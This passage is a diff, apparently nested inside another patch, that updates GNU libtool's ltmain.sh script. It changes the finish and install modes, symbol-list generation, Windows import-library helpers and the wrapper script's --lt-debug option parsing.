-- if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
-- for dir
-- do
-- libdirs="$libdirs $dir"
-- done
-+ for opt in "$nonopt" ${1+"$@"}
-+ do
-+ if test -d "$opt"; then
-+ func_append libdirs " $opt"
-
-+ elif test -f "$opt"; then
-+ if func_lalib_unsafe_p "$opt"; then
-+ func_append libs " $opt"
-+ else
-+ func_warning "\`$opt' is not a valid libtool archive"
-+ fi
-+
-+ else
-+ func_fatal_error "invalid argument \`$opt'"
-+ fi
-+ done
-+
-+ if test -n "$libs"; then
-+ if test -n "$lt_sysroot"; then
-+ sysroot_regex=`$ECHO "$lt_sysroot" | $SED "$sed_make_literal_regex"`
-+ sysroot_cmd="s/\([ ']\)$sysroot_regex/\1/g;"
-+ else
-+ sysroot_cmd=
-+ fi
-+
-+ # Remove sysroot references
-+ if $opt_dry_run; then
-+ for lib in $libs; do
-+ echo "removing references to $lt_sysroot and \`=' prefixes from $lib"
-+ done
-+ else
-+ tmpdir=`func_mktempdir`
-+ for lib in $libs; do
-+ sed -e "${sysroot_cmd} s/\([ ']-[LR]\)=/\1/g; s/\([ ']\)=/\1/g" $lib \
-+ > $tmpdir/tmp-la
-+ mv -f $tmpdir/tmp-la $lib
-+ done
-+ ${RM}r "$tmpdir"
-+ fi
-+ fi
-+
-+ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
- for libdir in $libdirs; do
- if test -n "$finish_cmds"; then
- # Do each command in the finish commands.
-@@ -1997,7 +2704,7 @@ func_mode_finish ()
- if test -n "$finish_eval"; then
- # Do the single finish_eval.
- eval cmds=\"$finish_eval\"
-- $opt_dry_run || eval "$cmds" || admincmds="$admincmds
-+ $opt_dry_run || eval "$cmds" || func_append admincmds "
- $cmds"
- fi
- done
-@@ -2006,53 +2713,55 @@ func_mode_finish ()
- # Exit here if they wanted silent mode.
- $opt_silent && exit $EXIT_SUCCESS
-
-- echo "----------------------------------------------------------------------"
-- echo "Libraries have been installed in:"
-- for libdir in $libdirs; do
-- $ECHO " $libdir"
-- done
-- echo
-- echo "If you ever happen to want to link against installed libraries"
-- echo "in a given directory, LIBDIR, you must either use libtool, and"
-- echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
-- echo "flag during linking and do at least one of the following:"
-- if test -n "$shlibpath_var"; then
-- echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
-- echo " during execution"
-- fi
-- if test -n "$runpath_var"; then
-- echo " - add LIBDIR to the \`$runpath_var' environment variable"
-- echo " during linking"
-- fi
-- if test -n "$hardcode_libdir_flag_spec"; then
-- libdir=LIBDIR
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-+ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
-+ echo "----------------------------------------------------------------------"
-+ echo "Libraries have been installed in:"
-+ for libdir in $libdirs; do
-+ $ECHO " $libdir"
-+ done
-+ echo
-+ echo "If you ever happen to want to link against installed libraries"
-+ echo "in a given directory, LIBDIR, you must either use libtool, and"
-+ echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
-+ echo "flag during linking and do at least one of the following:"
-+ if test -n "$shlibpath_var"; then
-+ echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
-+ echo " during execution"
-+ fi
-+ if test -n "$runpath_var"; then
-+ echo " - add LIBDIR to the \`$runpath_var' environment variable"
-+ echo " during linking"
-+ fi
-+ if test -n "$hardcode_libdir_flag_spec"; then
-+ libdir=LIBDIR
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-
-- $ECHO " - use the \`$flag' linker flag"
-- fi
-- if test -n "$admincmds"; then
-- $ECHO " - have your system administrator run these commands:$admincmds"
-- fi
-- if test -f /etc/ld.so.conf; then
-- echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
-- fi
-- echo
-+ $ECHO " - use the \`$flag' linker flag"
-+ fi
-+ if test -n "$admincmds"; then
-+ $ECHO " - have your system administrator run these commands:$admincmds"
-+ fi
-+ if test -f /etc/ld.so.conf; then
-+ echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
-+ fi
-+ echo
-
-- echo "See any operating system documentation about shared libraries for"
-- case $host in
-- solaris2.[6789]|solaris2.1[0-9])
-- echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
-- echo "pages."
-- ;;
-- *)
-- echo "more information, such as the ld(1) and ld.so(8) manual pages."
-- ;;
-- esac
-- echo "----------------------------------------------------------------------"
-+ echo "See any operating system documentation about shared libraries for"
-+ case $host in
-+ solaris2.[6789]|solaris2.1[0-9])
-+ echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
-+ echo "pages."
-+ ;;
-+ *)
-+ echo "more information, such as the ld(1) and ld.so(8) manual pages."
-+ ;;
-+ esac
-+ echo "----------------------------------------------------------------------"
-+ fi
- exit $EXIT_SUCCESS
- }
-
--test "$mode" = finish && func_mode_finish ${1+"$@"}
-+test "$opt_mode" = finish && func_mode_finish ${1+"$@"}
-
-
- # func_mode_install arg...
-@@ -2077,7 +2786,7 @@ func_mode_install ()
- # The real first argument should be the name of the installation program.
- # Aesthetically quote it.
- func_quote_for_eval "$arg"
-- install_prog="$install_prog$func_quote_for_eval_result"
-+ func_append install_prog "$func_quote_for_eval_result"
- install_shared_prog=$install_prog
- case " $install_prog " in
- *[\\\ /]cp\ *) install_cp=: ;;
-@@ -2097,7 +2806,7 @@ func_mode_install ()
- do
- arg2=
- if test -n "$dest"; then
-- files="$files $dest"
-+ func_append files " $dest"
- dest=$arg
- continue
- fi
-@@ -2135,11 +2844,11 @@ func_mode_install ()
-
- # Aesthetically quote the argument.
- func_quote_for_eval "$arg"
-- install_prog="$install_prog $func_quote_for_eval_result"
-+ func_append install_prog " $func_quote_for_eval_result"
- if test -n "$arg2"; then
- func_quote_for_eval "$arg2"
- fi
-- install_shared_prog="$install_shared_prog $func_quote_for_eval_result"
-+ func_append install_shared_prog " $func_quote_for_eval_result"
- done
-
- test -z "$install_prog" && \
-@@ -2151,7 +2860,7 @@ func_mode_install ()
- if test -n "$install_override_mode" && $no_mode; then
- if $install_cp; then :; else
- func_quote_for_eval "$install_override_mode"
-- install_shared_prog="$install_shared_prog -m $func_quote_for_eval_result"
-+ func_append install_shared_prog " -m $func_quote_for_eval_result"
- fi
- fi
-
-@@ -2209,10 +2918,13 @@ func_mode_install ()
- case $file in
- *.$libext)
- # Do the static libraries later.
-- staticlibs="$staticlibs $file"
-+ func_append staticlibs " $file"
- ;;
-
- *.la)
-+ func_resolve_sysroot "$file"
-+ file=$func_resolve_sysroot_result
-+
- # Check to see that this really is a libtool archive.
- func_lalib_unsafe_p "$file" \
- || func_fatal_help "\`$file' is not a valid libtool archive"
-@@ -2226,23 +2938,30 @@ func_mode_install ()
- if test "X$destdir" = "X$libdir"; then
- case "$current_libdirs " in
- *" $libdir "*) ;;
-- *) current_libdirs="$current_libdirs $libdir" ;;
-+ *) func_append current_libdirs " $libdir" ;;
- esac
- else
- # Note the libdir as a future libdir.
- case "$future_libdirs " in
- *" $libdir "*) ;;
-- *) future_libdirs="$future_libdirs $libdir" ;;
-+ *) func_append future_libdirs " $libdir" ;;
- esac
- fi
-
- func_dirname "$file" "/" ""
- dir="$func_dirname_result"
-- dir="$dir$objdir"
-+ func_append dir "$objdir"
-
- if test -n "$relink_command"; then
-+ # Strip any trailing slash from the destination.
-+ func_stripname '' '/' "$libdir"
-+ destlibdir=$func_stripname_result
-+
-+ func_stripname '' '/' "$destdir"
-+ s_destdir=$func_stripname_result
-+
- # Determine the prefix the user has applied to our future dir.
-- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
-+ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
-
- # Don't allow the user to place us outside of our expected
- # location b/c this prevents finding dependent libraries that
-@@ -2315,7 +3034,7 @@ func_mode_install ()
- func_show_eval "$install_prog $instname $destdir/$name" 'exit $?'
-
- # Maybe install the static library, too.
-- test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library"
-+ test -n "$old_library" && func_append staticlibs " $dir/$old_library"
- ;;
-
- *.lo)
-@@ -2503,7 +3222,7 @@ func_mode_install ()
- test -n "$future_libdirs" && \
- func_warning "remember to run \`$progname --finish$future_libdirs'"
-
-- if test -n "$current_libdirs" && $opt_finish; then
-+ if test -n "$current_libdirs"; then
- # Maybe just do a dry run.
- $opt_dry_run && current_libdirs=" -n$current_libdirs"
- exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs'
-@@ -2512,7 +3231,7 @@ func_mode_install ()
- fi
- }
-
--test "$mode" = install && func_mode_install ${1+"$@"}
-+test "$opt_mode" = install && func_mode_install ${1+"$@"}
-
-
- # func_generate_dlsyms outputname originator pic_p
-@@ -2559,6 +3278,18 @@ extern \"C\" {
- #pragma GCC diagnostic ignored \"-Wstrict-prototypes\"
- #endif
-
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- /* External symbol declarations for the compiler. */\
- "
-
-@@ -2570,21 +3301,22 @@ extern \"C\" {
- # Add our own program objects to the symbol list.
- progfiles=`$ECHO "$objs$old_deplibs" | $SP2NL | $SED "$lo2o" | $NL2SP`
- for progfile in $progfiles; do
-- func_verbose "extracting global C symbols from \`$progfile'"
-- $opt_dry_run || eval "$NM $progfile | $global_symbol_pipe >> '$nlist'"
-+ func_to_tool_file "$progfile" func_convert_file_msys_to_w32
-+ func_verbose "extracting global C symbols from \`$func_to_tool_file_result'"
-+ $opt_dry_run || eval "$NM $func_to_tool_file_result | $global_symbol_pipe >> '$nlist'"
- done
-
- if test -n "$exclude_expsyms"; then
- $opt_dry_run || {
-- $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T
-- $MV "$nlist"T "$nlist"
-+ eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T'
-+ eval '$MV "$nlist"T "$nlist"'
- }
- fi
-
- if test -n "$export_symbols_regex"; then
- $opt_dry_run || {
-- $EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T
-- $MV "$nlist"T "$nlist"
-+ eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T'
-+ eval '$MV "$nlist"T "$nlist"'
- }
- fi
-
-@@ -2593,23 +3325,23 @@ extern \"C\" {
- export_symbols="$output_objdir/$outputname.exp"
- $opt_dry_run || {
- $RM $export_symbols
-- ${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' < "$nlist" > "$export_symbols"
-+ eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"'
- case $host in
- *cygwin* | *mingw* | *cegcc* )
-- echo EXPORTS > "$output_objdir/$outputname.def"
-- cat "$export_symbols" >> "$output_objdir/$outputname.def"
-+ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
-+ eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- }
- else
- $opt_dry_run || {
-- ${SED} -e 's/\([].[*^$]\)/\\\1/g' -e 's/^/ /' -e 's/$/$/' < "$export_symbols" > "$output_objdir/$outputname.exp"
-- $GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T
-- $MV "$nlist"T "$nlist"
-+ eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"'
-+ eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T'
-+ eval '$MV "$nlist"T "$nlist"'
- case $host in
- *cygwin* | *mingw* | *cegcc* )
-- echo EXPORTS > "$output_objdir/$outputname.def"
-- cat "$nlist" >> "$output_objdir/$outputname.def"
-+ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
-+ eval 'cat "$nlist" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- }
-@@ -2620,10 +3352,52 @@ extern \"C\" {
- func_verbose "extracting global C symbols from \`$dlprefile'"
- func_basename "$dlprefile"
- name="$func_basename_result"
-- $opt_dry_run || {
-- $ECHO ": $name " >> "$nlist"
-- eval "$NM $dlprefile 2>/dev/null | $global_symbol_pipe >> '$nlist'"
-- }
-+ case $host in
-+ *cygwin* | *mingw* | *cegcc* )
-+ # if an import library, we need to obtain dlname
-+ if func_win32_import_lib_p "$dlprefile"; then
-+ func_tr_sh "$dlprefile"
-+ eval "curr_lafile=\$libfile_$func_tr_sh_result"
-+ dlprefile_dlbasename=""
-+ if test -n "$curr_lafile" && func_lalib_p "$curr_lafile"; then
-+ # Use subshell, to avoid clobbering current variable values
-+ dlprefile_dlname=`source "$curr_lafile" && echo "$dlname"`
-+ if test -n "$dlprefile_dlname" ; then
-+ func_basename "$dlprefile_dlname"
-+ dlprefile_dlbasename="$func_basename_result"
-+ else
-+ # no lafile. user explicitly requested -dlpreopen <import library>.
-+ $sharedlib_from_linklib_cmd "$dlprefile"
-+ dlprefile_dlbasename=$sharedlib_from_linklib_result
-+ fi
-+ fi
-+ $opt_dry_run || {
-+ if test -n "$dlprefile_dlbasename" ; then
-+ eval '$ECHO ": $dlprefile_dlbasename" >> "$nlist"'
-+ else
-+ func_warning "Could not compute DLL name from $name"
-+ eval '$ECHO ": $name " >> "$nlist"'
-+ fi
-+ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
-+ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe |
-+ $SED -e '/I __imp/d' -e 's/I __nm_/D /;s/_nm__//' >> '$nlist'"
-+ }
-+ else # not an import lib
-+ $opt_dry_run || {
-+ eval '$ECHO ": $name " >> "$nlist"'
-+ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
-+ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
-+ }
-+ fi
-+ ;;
-+ *)
-+ $opt_dry_run || {
-+ eval '$ECHO ": $name " >> "$nlist"'
-+ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
-+ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
-+ }
-+ ;;
-+ esac
- done
-
- $opt_dry_run || {
-@@ -2661,26 +3435,9 @@ typedef struct {
- const char *name;
- void *address;
- } lt_dlsymlist;
--"
-- case $host in
-- *cygwin* | *mingw* | *cegcc* )
-- echo >> "$output_objdir/$my_dlsyms" "\
--/* DATA imports from DLLs on WIN32 con't be const, because
-- runtime relocations are performed -- see ld's documentation
-- on pseudo-relocs. */"
-- lt_dlsym_const= ;;
-- *osf5*)
-- echo >> "$output_objdir/$my_dlsyms" "\
--/* This system does not cope well with relocations in const data */"
-- lt_dlsym_const= ;;
-- *)
-- lt_dlsym_const=const ;;
-- esac
--
-- echo >> "$output_objdir/$my_dlsyms" "\
--extern $lt_dlsym_const lt_dlsymlist
-+extern LT_DLSYM_CONST lt_dlsymlist
- lt_${my_prefix}_LTX_preloaded_symbols[];
--$lt_dlsym_const lt_dlsymlist
-+LT_DLSYM_CONST lt_dlsymlist
- lt_${my_prefix}_LTX_preloaded_symbols[] =
- {\
- { \"$my_originator\", (void *) 0 },"
-@@ -2736,7 +3493,7 @@ static const void *lt_preloaded_setup() {
- for arg in $LTCFLAGS; do
- case $arg in
- -pie | -fpie | -fPIE) ;;
-- *) symtab_cflags="$symtab_cflags $arg" ;;
-+ *) func_append symtab_cflags " $arg" ;;
- esac
- done
-
-@@ -2796,9 +3553,11 @@ func_win32_libid ()
- win32_libid_type="x86 archive import"
- ;;
- *ar\ archive*) # could be an import, or static
-- if $OBJDUMP -f "$1" | $SED -e '10q' 2>/dev/null |
-- $EGREP 'file format (pe-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
-- win32_nmres=`$NM -f posix -A "$1" |
-+ # Keep the egrep pattern in sync with the one in _LT_CHECK_MAGIC_METHOD.
-+ if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null |
-+ $EGREP 'file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
-+ func_to_tool_file "$1" func_convert_file_msys_to_w32
-+ win32_nmres=`eval $NM -f posix -A \"$func_to_tool_file_result\" |
- $SED -n -e '
- 1,100{
- / I /{
-@@ -2827,6 +3586,131 @@ func_win32_libid ()
- $ECHO "$win32_libid_type"
- }
-
-+# func_cygming_dll_for_implib ARG
-+#
-+# Platform-specific function to extract the
-+# name of the DLL associated with the specified
-+# import library ARG.
-+# Invoked by eval'ing the libtool variable
-+# $sharedlib_from_linklib_cmd
-+# Result is available in the variable
-+# $sharedlib_from_linklib_result
-+func_cygming_dll_for_implib ()
-+{
-+ $opt_debug
-+ sharedlib_from_linklib_result=`$DLLTOOL --identify-strict --identify "$1"`
-+}
-+
-+# func_cygming_dll_for_implib_fallback_core SECTION_NAME LIBNAMEs
-+#
-+# The is the core of a fallback implementation of a
-+# platform-specific function to extract the name of the
-+# DLL associated with the specified import library LIBNAME.
-+#
-+# SECTION_NAME is either .idata$6 or .idata$7, depending
-+# on the platform and compiler that created the implib.
-+#
-+# Echos the name of the DLL associated with the
-+# specified import library.
-+func_cygming_dll_for_implib_fallback_core ()
-+{
-+ $opt_debug
-+ match_literal=`$ECHO "$1" | $SED "$sed_make_literal_regex"`
-+ $OBJDUMP -s --section "$1" "$2" 2>/dev/null |
-+ $SED '/^Contents of section '"$match_literal"':/{
-+ # Place marker at beginning of archive member dllname section
-+ s/.*/====MARK====/
-+ p
-+ d
-+ }
-+ # These lines can sometimes be longer than 43 characters, but
-+ # are always uninteresting
-+ /:[ ]*file format pe[i]\{,1\}-/d
-+ /^In archive [^:]*:/d
-+ # Ensure marker is printed
-+ /^====MARK====/p
-+ # Remove all lines with less than 43 characters
-+ /^.\{43\}/!d
-+ # From remaining lines, remove first 43 characters
-+ s/^.\{43\}//' |
-+ $SED -n '
-+ # Join marker and all lines until next marker into a single line
-+ /^====MARK====/ b para
-+ H
-+ $ b para
-+ b
-+ :para
-+ x
-+ s/\n//g
-+ # Remove the marker
-+ s/^====MARK====//
-+ # Remove trailing dots and whitespace
-+ s/[\. \t]*$//
-+ # Print
-+ /./p' |
-+ # we now have a list, one entry per line, of the stringified
-+ # contents of the appropriate section of all members of the
-+ # archive which possess that section. Heuristic: eliminate
-+ # all those which have a first or second character that is
-+ # a '.' (that is, objdump's representation of an unprintable
-+ # character.) This should work for all archives with less than
-+ # 0x302f exports -- but will fail for DLLs whose name actually
-+ # begins with a literal '.' or a single character followed by
-+ # a '.'.
-+ #
-+ # Of those that remain, print the first one.
-+ $SED -e '/^\./d;/^.\./d;q'
-+}
-+
-+# func_cygming_gnu_implib_p ARG
-+# This predicate returns with zero status (TRUE) if
-+# ARG is a GNU/binutils-style import library. Returns
-+# with nonzero status (FALSE) otherwise.
-+func_cygming_gnu_implib_p ()
-+{
-+ $opt_debug
-+ func_to_tool_file "$1" func_convert_file_msys_to_w32
-+ func_cygming_gnu_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $EGREP ' (_head_[A-Za-z0-9_]+_[ad]l*|[A-Za-z0-9_]+_[ad]l*_iname)$'`
-+ test -n "$func_cygming_gnu_implib_tmp"
-+}
-+
-+# func_cygming_ms_implib_p ARG
-+# This predicate returns with zero status (TRUE) if
-+# ARG is an MS-style import library. Returns
-+# with nonzero status (FALSE) otherwise.
-+func_cygming_ms_implib_p ()
-+{
-+ $opt_debug
-+ func_to_tool_file "$1" func_convert_file_msys_to_w32
-+ func_cygming_ms_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $GREP '_NULL_IMPORT_DESCRIPTOR'`
-+ test -n "$func_cygming_ms_implib_tmp"
-+}
-+
-+# func_cygming_dll_for_implib_fallback ARG
-+# Platform-specific function to extract the
-+# name of the DLL associated with the specified
-+# import library ARG.
-+#
-+# This fallback implementation is for use when $DLLTOOL
-+# does not support the --identify-strict option.
-+# Invoked by eval'ing the libtool variable
-+# $sharedlib_from_linklib_cmd
-+# Result is available in the variable
-+# $sharedlib_from_linklib_result
-+func_cygming_dll_for_implib_fallback ()
-+{
-+ $opt_debug
-+ if func_cygming_gnu_implib_p "$1" ; then
-+ # binutils import library
-+ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$7' "$1"`
-+ elif func_cygming_ms_implib_p "$1" ; then
-+ # ms-generated import library
-+ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$6' "$1"`
-+ else
-+ # unknown
-+ sharedlib_from_linklib_result=""
-+ fi
-+}
-
-
- # func_extract_an_archive dir oldlib
-@@ -2917,7 +3801,7 @@ func_extract_archives ()
- darwin_file=
- darwin_files=
- for darwin_file in $darwin_filelist; do
-- darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP`
-+ darwin_files=`find unfat-$$ -name $darwin_file -print | sort | $NL2SP`
- $LIPO -create -output "$darwin_file" $darwin_files
- done # $darwin_filelist
- $RM -rf unfat-$$
-@@ -2932,7 +3816,7 @@ func_extract_archives ()
- func_extract_an_archive "$my_xdir" "$my_xabs"
- ;;
- esac
-- my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP`
-+ my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | sort | $NL2SP`
- done
-
- func_extract_archives_result="$my_oldobjs"
-@@ -3014,7 +3898,110 @@ func_fallback_echo ()
- _LTECHO_EOF'
- }
- ECHO=\"$qECHO\"
-- fi\
-+ fi
-+
-+# Very basic option parsing. These options are (a) specific to
-+# the libtool wrapper, (b) are identical between the wrapper
-+# /script/ and the wrapper /executable/ which is used only on
-+# windows platforms, and (c) all begin with the string "--lt-"
-+# (application programs are unlikely to have options which match
-+# this pattern).
-+#
-+# There are only two supported options: --lt-debug and
-+# --lt-dump-script. There is, deliberately, no --lt-help.
-+#
-+# The first argument to this parsing function should be the
-+# script's $0 value, followed by "$@".
-+lt_option_debug=
-+func_parse_lt_options ()
-+{
-+ lt_script_arg0=\$0
-+ shift
-+ for lt_opt
-+ do
-+ case \"\$lt_opt\" in
-+ --lt-debug) lt_option_debug=1 ;;
-+ --lt-dump-script)
-+ lt_dump_D=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%/[^/]*$%%'\`
-+ test \"X\$lt_dump_D\" = \"X\$lt_script_arg0\" && lt_dump_D=.
-+ lt_dump_F=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%^.*/%%'\`
-+ cat \"\$lt_dump_D/\$lt_dump_F\"
-+ exit 0
-+ ;;
-+ --lt-*)
-+ \$ECHO \"Unrecognized --lt- option: '\$lt_opt'\" 1>&2
-+ exit 1
-+ ;;
-+ esac
-+ done
-+
-+ # Print the debug banner immediately:
-+ if test -n \"\$lt_option_debug\"; then
-+ echo \"${outputname}:${output}:\${LINENO}: libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\" 1>&2
-+ fi
-+}
-+
-+# Used when --lt-debug. Prints its arguments to stdout
-+# (redirection is the responsibility of the caller)
-+func_lt_dump_args ()
-+{
-+ lt_dump_args_N=1;
-+ for lt_arg
-+ do
-+ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[\$lt_dump_args_N]: \$lt_arg\"
-+ lt_dump_args_N=\`expr \$lt_dump_args_N + 1\`
-+ done
-+}
-+
-+# Core function for launching the target application
-+func_exec_program_core ()
-+{
-+"
-+ case $host in
-+ # Backslashes separate directories on plain windows
-+ *-*-mingw | *-*-os2* | *-cegcc*)
-+ $ECHO "\
-+ if test -n \"\$lt_option_debug\"; then
-+ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir\\\\\$program\" 1>&2
-+ func_lt_dump_args \${1+\"\$@\"} 1>&2
-+ fi
-+ exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
-+"
-+ ;;
-+
-+ *)
-+ $ECHO "\
-+ if test -n \"\$lt_option_debug\"; then
-+ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir/\$program\" 1>&2
-+ func_lt_dump_args \${1+\"\$@\"} 1>&2
-+ fi
-+ exec \"\$progdir/\$program\" \${1+\"\$@\"}
-+"
-+ ;;
-+ esac
-+ $ECHO "\
-+ \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
-+ exit 1
-+}
-+
-+# A function to encapsulate launching the target application
-+# Strips options in the --lt-* namespace from \$@ and
-+# launches target application with the remaining arguments.
-+func_exec_program ()
-+{
-+ for lt_wr_arg
-+ do
-+ case \$lt_wr_arg in
-+ --lt-*) ;;
-+ *) set x \"\$@\" \"\$lt_wr_arg\"; shift;;
-+ esac
-+ shift
-+ done
-+ func_exec_program_core \${1+\"\$@\"}
-+}
-+
-+ # Parse options
-+ func_parse_lt_options \"\$0\" \${1+\"\$@\"}
-
- # Find the directory that this script lives in.
- thisdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*$%%'\`
-@@ -3078,7 +4065,7 @@ _LTECHO_EOF'
-
- # relink executable if necessary
- if test -n \"\$relink_command\"; then
-- if relink_command_output=\`eval \"\$relink_command\" 2>&1\`; then :
-+ if relink_command_output=\`eval \$relink_command 2>&1\`; then :
- else
- $ECHO \"\$relink_command_output\" >&2
- $RM \"\$progdir/\$file\"
-@@ -3102,6 +4089,18 @@ _LTECHO_EOF'
-
- if test -f \"\$progdir/\$program\"; then"
-
-+ # fixup the dll searchpath if we need to.
-+ #
-+ # Fix the DLL searchpath if we need to. Do this before prepending
-+ # to shlibpath, because on Windows, both are PATH and uninstalled
-+ # libraries must come first.
-+ if test -n "$dllsearchpath"; then
-+ $ECHO "\
-+ # Add the dll search path components to the executable PATH
-+ PATH=$dllsearchpath:\$PATH
-+"
-+ fi
-+
- # Export our shlibpath_var if we have one.
- if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
- $ECHO "\
-@@ -3116,35 +4115,10 @@ _LTECHO_EOF'
- "
- fi
-
-- # fixup the dll searchpath if we need to.
-- if test -n "$dllsearchpath"; then
-- $ECHO "\
-- # Add the dll search path components to the executable PATH
-- PATH=$dllsearchpath:\$PATH
--"
-- fi
--
- $ECHO "\
- if test \"\$libtool_execute_magic\" != \"$magic\"; then
- # Run the actual program with our arguments.
--"
-- case $host in
-- # Backslashes separate directories on plain windows
-- *-*-mingw | *-*-os2* | *-cegcc*)
-- $ECHO "\
-- exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
--"
-- ;;
--
-- *)
-- $ECHO "\
-- exec \"\$progdir/\$program\" \${1+\"\$@\"}
--"
-- ;;
-- esac
-- $ECHO "\
-- \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
-- exit 1
-+ func_exec_program \${1+\"\$@\"}
- fi
- else
- # The program doesn't exist.
-@@ -3158,166 +4132,6 @@ fi\
- }
-
-
--# func_to_host_path arg
--#
--# Convert paths to host format when used with build tools.
--# Intended for use with "native" mingw (where libtool itself
--# is running under the msys shell), or in the following cross-
--# build environments:
--# $build $host
--# mingw (msys) mingw [e.g. native]
--# cygwin mingw
--# *nix + wine mingw
--# where wine is equipped with the `winepath' executable.
--# In the native mingw case, the (msys) shell automatically
--# converts paths for any non-msys applications it launches,
--# but that facility isn't available from inside the cwrapper.
--# Similar accommodations are necessary for $host mingw and
--# $build cygwin. Calling this function does no harm for other
--# $host/$build combinations not listed above.
--#
--# ARG is the path (on $build) that should be converted to
--# the proper representation for $host. The result is stored
--# in $func_to_host_path_result.
--func_to_host_path ()
--{
-- func_to_host_path_result="$1"
-- if test -n "$1"; then
-- case $host in
-- *mingw* )
-- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
-- case $build in
-- *mingw* ) # actually, msys
-- # awkward: cmd appends spaces to result
-- func_to_host_path_result=`( cmd //c echo "$1" ) 2>/dev/null |
-- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
-- ;;
-- *cygwin* )
-- func_to_host_path_result=`cygpath -w "$1" |
-- $SED -e "$lt_sed_naive_backslashify"`
-- ;;
-- * )
-- # Unfortunately, winepath does not exit with a non-zero
-- # error code, so we are forced to check the contents of
-- # stdout. On the other hand, if the command is not
-- # found, the shell will set an exit code of 127 and print
-- # *an error message* to stdout. So we must check for both
-- # error code of zero AND non-empty stdout, which explains
-- # the odd construction:
-- func_to_host_path_tmp1=`winepath -w "$1" 2>/dev/null`
-- if test "$?" -eq 0 && test -n "${func_to_host_path_tmp1}"; then
-- func_to_host_path_result=`$ECHO "$func_to_host_path_tmp1" |
-- $SED -e "$lt_sed_naive_backslashify"`
-- else
-- # Allow warning below.
-- func_to_host_path_result=
-- fi
-- ;;
-- esac
-- if test -z "$func_to_host_path_result" ; then
-- func_error "Could not determine host path corresponding to"
-- func_error " \`$1'"
-- func_error "Continuing, but uninstalled executables may not work."
-- # Fallback:
-- func_to_host_path_result="$1"
-- fi
-- ;;
-- esac
-- fi
--}
--# end: func_to_host_path
--
--# func_to_host_pathlist arg
--#
--# Convert pathlists to host format when used with build tools.
--# See func_to_host_path(), above. This function supports the
--# following $build/$host combinations (but does no harm for
--# combinations not listed here):
--# $build $host
